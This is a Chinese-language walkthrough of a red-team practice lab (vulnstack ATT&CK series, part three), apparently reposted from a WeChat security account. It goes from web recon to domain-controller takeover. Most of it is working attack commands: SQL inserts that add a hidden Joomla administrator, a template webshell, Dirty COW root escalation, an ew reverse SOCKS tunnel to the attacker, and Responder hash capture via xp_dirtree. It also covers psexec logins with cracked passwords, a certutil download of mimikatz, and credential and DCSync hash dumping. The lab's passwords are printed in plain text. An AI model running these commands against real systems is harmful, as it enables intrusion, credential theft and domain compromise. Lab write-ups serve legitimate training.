这套靶场是纯黑盒测试,没给任何一个密码,五台机器直接从挂起的状态开启就好了,做好信息收集,很简单很多
靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
环境配置
在web-centos中重启网络获取ip
service network restart
靶场拓扑
端口扫描
nmap -sV -sS -p- 192.168.3.195
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
80/tcp open http nginx 1.9.4
3306/tcp open mysql?
MAC Address: 4C:D5:77:CB:F4:99 (Chongqing Fugui Electronics)
只开放了三个端口,肯定要先看一下80端口,其他两个先放一下
web
这一看图标就知道是一个Joomla
先扫一下目录,看看有没有意外收获 python3 dirsearch.py -u http://192.168.3.191/
[10:13:16] 200 - 24KB - /1.php
[10:13:16] 200 - 0B - /2.php
[10:13:24] 301 - 322B - /administrator -> http://192.168.3.191/administrator/
[10:13:24] 200 - 2KB - /administrator/
[10:13:24] 200 - 525B - /administrator/includes/
[10:13:24] 200 - 2KB - /administrator/index.php
[10:13:24] 200 - 31B - /administrator/cache/
[10:13:25] 301 - 327B - /administrator/logs -> http://192.168.3.191/administrator/logs/
[10:13:25] 200 - 31B - /administrator/logs/
[10:13:29] 200 - 31B - /bin/
[10:13:28] 301 - 312B - /bin -> http://192.168.3.191/bin/
[10:13:30] 301 - 314B - /cache -> http://192.168.3.191/cache/
[10:13:30] 200 - 31B - /cache/
[10:13:31] 200 - 31B - /cli/
[10:13:32] 200 - 31B - /components/
[10:13:32] 301 - 319B - /components -> http://192.168.3.191/components/
[10:13:32] 200 - 0B - /configuration.php
[10:13:32] 200 - 2KB - /configuration.php~
[10:13:41] 200 - 1KB - /htaccess.txt
[10:13:41] 200 - 31B - /images/
[10:13:41] 301 - 315B - /images -> http://192.168.3.191/images/
[10:13:42] 301 - 317B - /includes -> http://192.168.3.191/includes/
[10:13:42] 200 - 31B - /includes/
[10:13:42] 200 - 4KB - /index.php
[10:13:42] 200 - 3KB - /index.php/login/
[10:13:44] 301 - 317B - /language -> http://192.168.3.191/language/
[10:13:44] 200 - 31B - /layouts/
[10:13:45] 301 - 318B - /libraries -> http://192.168.3.191/libraries/
[10:13:45] 200 - 31B - /libraries/
[10:13:45] 200 - 7KB - /LICENSE.txt
[10:13:47] 301 - 314B - /media -> http://192.168.3.191/media/
[10:13:47] 200 - 31B - /media/
[10:13:48] 301 - 316B - /modules -> http://192.168.3.191/modules/
[10:13:49] 200 - 31B - /modules/
[10:13:54] 200 - 31B - /plugins/
[10:13:54] 301 - 316B - /plugins -> http://192.168.3.191/plugins/
[10:13:56] 200 - 2KB - /README.txt
[10:13:57] 200 - 392B - /robots.txt
[10:13:58] 403 - 278B - /server-status
[10:13:58] 403 - 278B - /server-status/
[10:14:04] 200 - 31B - /templates/
[10:14:04] 200 - 31B - /templates/index.html
[10:14:04] 200 - 0B - /templates/system/
[10:14:04] 301 - 318B - /templates -> http://192.168.3.191/templates/
[10:14:04] 200 - 0B - /templates/beez3/
[10:14:04] 200 - 0B - /templates/protostar/
[10:14:05] 301 - 312B - /tmp -> http://192.168.3.191/tmp/
[10:14:05] 200 - 31B - /tmp/
[10:14:09] 200 - 628B - /web.config.txt
1.php为phpinfo
可以看到disable_functions
是有做限制的,可以通过蚁剑插件来绕过
在/configuration.php~中发现一组数据库的用户名和密码 testuser:cvcvgjASD!@
通过此密码可以远程登陆到mysql中,
可以看到用户的密码是加密的
通过测试发现testuser这个账户是可以进行增删改查的,那么可以这样:
通过joomscan进行扫描得到版本为Joomla_3.9.12,下载同版本的joomla安装在本地密码是自己设置的,然后将本地数据库里面的加密的密码拿出来,在目标机器的joomla管理员数据库中添加一个用户admin2密码为本地搭建的joomla的管理员密码。
参考:https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'$2y$10$o59pellLl7DHO9m/Cwv4keoGnJHVnGHhvry0gp7fptX8m6DhcOZXW', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
然后可以通过admin2账户登陆到joomla的后台 后台地址:http://192.168.3.195/administrator/index.php
进入后台是可以直接写马的 Extensions–>Templates–>Templates–>Protostar Details and Files->error.php
访问并测试一下是否成功写马 http://192.168.3.195/index.php/33?1=phpinfo();
ok,直接上蚁剑,尝试反弹shell,最终以失败告终。
。
。
。
看一下ip,发现只有一个网卡,而且并不是192.168.3.195这台机器,嘶。。。。应该是nginx反向代理了某台机器.
上fscan扫描一下这个网段 ./fscan -h 192.168.93.120/24
扫描结果:
192.168.93.10:88 open
192.168.93.120:3306 open
192.168.93.100:3306 open
192.168.93.20:1433 open
192.168.93.30:445 open
192.168.93.20:445 open
192.168.93.10:445 open
192.168.93.30:139 open
192.168.93.20:139 open
192.168.93.10:139 open
192.168.93.30:135 open
192.168.93.20:135 open
192.168.93.10:135 open
192.168.93.120:80 open
192.168.93.100:80 open
192.168.93.20:80 open
192.168.93.120:22 open
192.168.93.100:22 open
[*] WebTitle:http://192.168.93.20 code:404 len:315 title:Not Found
[+] NetInfo:
[*]192.168.93.10
[->]WIN-8GA56TNV3MV
[->]192.168.93.10
[+] NetInfo:
[*]192.168.93.30
[->]win7
[->]192.168.93.30
[+] NetInfo:
[*]192.168.93.20
[->]win2008
[->]192.168.93.20
[*] WebTitle:http://192.168.93.120 code:200 len:16020 title:Home
[*] WebTitle:http://192.168.93.100 code:200 len:16020 title:Home
[*] 192.168.93.10 [+]DC TESTWIN-8GA56TNV3MV Windows Server 2012 R2 Datacenter 9600
[*] 192.168.93.30 __MSBROWSE__WIN7 Windows 7 Professional 7601 Service Pack 1
[*] 192.168.93.20 TESTWIN2008 Windows Server (R) 2008 Datacenter 6003 Service Pack 2
[*] 192.168.93.10 (Windows Server 2012 R2 Datacenter 9600)
[*] 192.168.93.30 (Windows 7 Professional 7601 Service Pack 1)
[*] 192.168.93.20 (Windows Server (R) 2008 Datacenter 6003 Service Pack 2)
[+] mysql:192.168.93.120:3306:root 123
[+] mysql:192.168.93.100:3306:root 123
一共扫描出来五台机器 10的机器为DC,并且存在TEST域 100和120机器均存在mysql弱口令
额。。。好像没有什么可以利用的点 那就翻文件,翻了有一会儿,发现一个/tmp/mysql/test.txt,里面有一组用户名和密码wwwuser:wwwuser_123Aqx
尝试登录ssh,嗯?
加一个参数即可(https://blog.csdn.net/weixin_43025071/article/details/128241732),成功登陆到这台机器上 ssh [email protected] -o HostKeyAlgorithms=+ssh-dss
查看一下网卡信息,此机器是存在双网卡的
整理一下
192.168.93.10 win2012 DC
192.168.93.20 win7 域成员
192.168.93.30 win2008 域成员
192.168.93.100/192.168.3.197 centos
192.168.93.120 ubuntu
此机器的权限很低,尝试进行提权 查看一下机器的内核版本为2.6.32
直接脏牛提权(CVE-2016-5195,https://github.com/firefart/dirtycow) 执行后会添加一个root权限的firefart用户密码为自己设置的
然后登陆到firefart用户即可,拿到root权限
上传ew,搞一下代理
攻击机kali:ew -s rcsocks -l 8888 -e 6666
目标机器centos:ew -s rssocks -d 192.168.3.192 -e 6666
使用kali自带的proxychains,修改一下配置文件/etc/proxychains4.conf
内网
前面已经拿到这台机器的webshell了,直接正向上线msf, 失败了,连接老掉,放弃了。。
直接看几个windows吧
20机器的80端口没有东西, 尝试一下拿前面获取的两组账户密码登录一下mssql,mysql的用户是可以登录的 testuser:cvcvgjASD!@
看一下有没有sa权限select is_srvrolemember('sysadmin')
,很遗憾没有
也无法模拟sa进行xp_cmdshell命令执行
思路断了,继续回到centos机器上找一下有没有可用的信息 查看历史命令发现用过Responder
上传Responder
尝试配合mssql来进行中继攻击, 在centos中使用Responder进行监听eth1网卡,然后通过mssql中的xp_dirtree来访问centos的网络路径
centos:python Responder.py -I eth1
mssql:
execute master.sys.xp_dirtree '\192.168.93.1001',1
即可抓取到hash
拿到hash尝试爆破,爆破了很多字典就是爆不出来,又G了,无奈看了一下wp,密码为123qwe!ASD
,这个密码也是可以通过smb爆破来得到的。
哪位大哥可以说一下123qwe!ASD
这个在哪个字典里
直接通过psexec拿到shell proxychains4 python psexec.py administrator:'123qwe!ASD'@192.168.93.20
上传mimikatz,我用的最笨的方法,先上传到centos然后通过python起一个web服务,然后通过certutil来下载
centos:python -m SimpleHTTPServer 8080
win2008:certutil -urlcache -split -f http://192.168.93.100:8080/mimikatz.exe mimikatz.exe
抓一下密码 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
直接拿到域管的密码Administrator:zxcASDqw123!!
登陆到域控 proxychains4 python psexec.py test/administrator:'zxcASDqw123!!'@192.168.93.10
使用同样的方法上传mimikatz,然后通过dcsynd导出域内所有hash mimikatz.exe "privilege::debug" "lsadump::dcsync /all /csv" exit
原文始发于微信公众号(鸿鹄实验室):ATT&CK实战系列——红队实战(三)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论